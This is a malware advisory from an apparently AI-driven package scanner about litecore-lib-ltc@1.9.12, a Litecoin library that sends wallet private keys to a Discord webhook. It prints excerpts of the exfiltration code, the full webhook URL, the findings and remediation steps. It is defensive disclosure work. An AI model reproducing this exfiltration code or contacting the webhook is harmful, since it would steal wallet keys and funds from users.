litecore-lib-ltc@1.9.12
Litecoin utility functions for transaction creation, signing, and broadcasting.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package exfiltrates a wallet's WIF and private key to a hard-coded Discord webhook during ordinary wallet construction. This is credential theft with direct potential loss of funds.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Constructing a LitecoinWallet instance with a WIF.
Impact
The recipient can use the exfiltrated private key to access or spend the wallet's funds.
Mechanism
The constructor enables a logging branch that posts the WIF and private key to Discord.
Attack narrative
When a caller constructs LitecoinWallet with a WIF, the constructor passes the WIF and private key to isValidAddress with logging enabled. That branch sends both values to a hard-coded Discord webhook, exposing control of the wallet to the webhook recipient. The send method also prints the private key to the console.
AI rationale
The package exfiltrates a wallet's WIF and private key to a hard-coded Discord webhook during ordinary wallet construction. This is credential theft with direct potential loss of funds.
Evidence
package.jsonsrc/index.jssrc/wallet.js
Network endpoints1
discord.com/api/webhooks/1477797533999956131/xMuQGOdbHRM6knCPHxXdIlN8FsmE0mSkSdFms-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package main is src/index.js, where LitecoinWallet's constructor calls isValidAddress with logging enabled.
- That logging branch posts the supplied WIF and private key to a hard-coded Discord webhook.
- The send method also writes the private key to the console.
Evidence against
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedsrc/wallet.jsView file
1const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3:
L4: function fromWIF(wif) {
L5: const privateKey = new bitcore.PrivateKey(wif);
L6: const address = privateKey.toAddress().toString();
...
L20: if (log) {
L21: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L22: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
src/wallet.jsView on unpkg · L11const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3:
L4: function fromWIF(wif) {
L5: const privateKey = new bitcore.PrivateKey(wif);
L6: const address = privateKey.toAddress().toString();
...
L20: if (log) {
L21: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L22: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
src/wallet.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> src/index.js -> src/wallet.js
L1: const bitcore = require('bitcore-lib-ltc');
L2: const axios = require('axios');
L3:
L4: function fromWIF(wif) {
L5: const privateKey = new bitcore.PrivateKey(wif);
L6: const address = privateKey.toAddress().toString();
...
L20: if (log) {
L21: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L22: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Findings
3 Critical4 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationsrc/wallet.js
CriticalCredential Exfiltrationsrc/wallet.js
CriticalTrigger Reachable Dangerous Capabilitysrc/wallet.js
HighFixed Authenticated Webhook Data Exfiltrationsrc/wallet.js
HighTrigger Reachable Credential Exfiltrationsrc/wallet.js
HighKnown Malware Source Fingerprint Signaturesrc/api.js
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to litecore-lib-ltc@1.9.12.
See all versions of litecore-lib-ltc for other recorded verdicts.
- Avoid installing litecore-lib-ltc@1.9.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.